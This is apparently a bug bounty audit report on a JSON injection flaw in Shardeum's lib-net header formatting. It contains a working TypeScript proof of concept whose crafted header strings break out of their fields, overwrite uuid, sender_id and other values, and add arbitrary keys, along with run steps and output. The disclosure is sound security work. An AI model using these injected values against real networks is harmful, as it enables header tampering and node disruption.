#39463 [BC-Insight] `multiSendWithHeader` and `sendWithHeader` have JSON injection vulnerability

Submitted on Jan 30th 2025 at 17:30:22 UTC by @Pig46940 for Audit Comp | Shardeum: Core III

  • Report ID: #39463

  • Report Type: Blockchain/DLT

  • Report severity: Insight

  • Target: https://github.com/shardeum/lib-net/tree/bugbounty

  • Impacts:

    • Shutdown of greater than 10% or equal to but less than 30% of network processing nodes without brute force actions, but does not shut down the network

Description

Brief/Intro

The multiSendWithHeader and sendWithHeader functions are vulnerable to JSON injection due to a lack of format validation in the Rust component (header_v1.rs). This security gap exposes the system to potential exploitation.

Vulnerability Details

Both multiSendWithHeader and sendWithHeader rely on the AppHeader, which in turn uses the send_with_header function from the Rust component. The function's reliance on manual JSON string formatting within header_v1.rs without proper escaping introduces a significant risk. This oversight can be easily exploited, enabling malicious JSON injection.

Impact Details

This vulnerability allows attackers to manipulate header information, potentially overwriting existing data or injecting arbitrary header values. The ability to modify headers poses a risk to the integrity and security of the system, making this issue urgent to address.

References

For more technical details:

Proof of Concept

Proof of Concept

This vulnerability allows an attacker to demonstrate how JSON injection can overwrite existing header data and inject arbitrary, unintended values.

PoC code

import { Command } from 'commander'
import { Sn } from '../.'
import { AppHeader, Sign } from '../build/src/types'

const setupLruSender = (port: number, lruSize: number) => {
  return Sn({
    port,
    address: '127.0.0.1',
    crypto: {
      signingSecretKeyHex:
        'c3774b92cc8850fb4026b073081290b82cab3c0f66cac250b4d710ee9aaf83ed8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d',
      hashKey: '69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc',
    },
    senderOpts: {
      useLruCache: true,
      lruSize: lruSize,
    },
    headerOpts: {
      sendHeaderVersion: 1,
    },
  })
}

const main = async () => {


  console.log('Starting cli...')

  const program = new Command()
  program.requiredOption('-p, --port <port>', 'Port to listen on')
  program.option('-c, --cache <size>', 'Size of the LRU cache', '2')
  program.parse(process.argv)

  const port = program.port.toString()
  const cacheSize = program.cache.toString()

  console.log(`Starting listener on port ${port} with cache size ${cacheSize}`)

  const sn = setupLruSender(+port, +cacheSize)

  const input = process.stdin


  /*
Send arbitrary JSON injection data.
This can overwrite existing JSON data and add arbitrary data.
  */
  input.addListener('data', async (data: Buffer) => {
    const inputs = data.toString().trim().split(' ')
    if (inputs.length === 3) {
      const message = inputs[2]
      await sn.sendWithHeader(
        +inputs[1],
        '127.0.0.1',
        { message, fromPort: +port },
        {
          compression: 'Brotli',
          tracker_id: "\",\"inject\":\"This is arbitrary data",
          verification_data: "\",\"tracker_id\":\"po\",\"message_length\":\"99\",\"verification_data\":\"po",
          sender_id: "\",\"uuid\":\"po\",\"compression\":\"po\",\"sender_id\":\"po",
        },
        1000,
        (data: unknown, header?: AppHeader) => {
          console.log('onResp: Received response:', JSON.stringify(data, null, 2))
          if (header) {
            console.log('onResp: Received header:', JSON.stringify(header, null, 2))
          }
        }
      )
      console.log('Message sent')
    } else if (inputs.length === 2) {
      sn.evictSocket(+inputs[1], '127.0.0.1')
      console.log('Cache cleared')
    } else {
      console.log('=> send <port> <message>')
      console.log('=> clear <port>')
    }
  })

  sn.listen(async (data: any, remote, respond, header, sign) => {
    if (data && data.message === 'ping') {
      console.log('Received ping from:', data.fromPort)
      console.log('Ping header:', JSON.stringify(header, null, 2))
      // await sleep(10000)
      return respond(
        { message: 'pong', fromPort: +port },
        {
          compression: 'Brotli',
        }
      )
    }
    if (data && data.message === 'pong') {
      console.log('Received pong from:', data.fromPort)
    }
    if (header) {
      console.log('Received header:', JSON.stringify(header, null, 2))
    }
    if (sign) {
      console.log('Received signature:', JSON.stringify(sign, null, 2))
    }
  })
}

const sleep = (ms: number) => {
  return new Promise((resolve) => setTimeout(resolve, ms))
}

main().catch((err) => console.log('ERROR: ', err))

How to run

Installation

$ git clone https://github.com/shardeum/lib-net.git
$ cd lib-net
$ npm install
$ npm build
$ npm install -g ts-node

Run Server

Create PoC code into lib-net/test as a test_poc.ts

  • Terminal1 Sending server

$ ts-node test/test_poc.ts -p 3000 -c 2
  • Terminal 2 Receiving server

$ ts-node test/test_poc.ts -p 3001 -c 2

Send header

Send JSON injection data to Terminal2

  • terminal1 Send data to the terminal2

send 3001 poc

Output

Not only can it overwrite existing data, but it can also add arbitrary JSON data using escaped string data.

Received header: {
  "uuid": "po", // Overwrited
  "message_length": "99", // Overwrited
  "sender_id": "po", // Overwrited
  "compression": "po", // Overwrited
  "tracker_id": "po", // Overwrited
  "inject": "This is arbitrary data", // Added arbitrary data
  "verification_data": "po"  // Overwrited
}
Received signature: {
  "owner": "8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d",
  "sig": "40e7f4b408298babd24ceff1d66594692dcb8070a0826db9139d8f76a6efcecbedf1996b0de423eb55ab261e5bddedd08fb176c6d50e000f462844f74a27b90915023cfee8c590b6e7ba0d3d6dc8cb185e63d519fbd781e937b17292396bf0f0"
}

Was this helpful?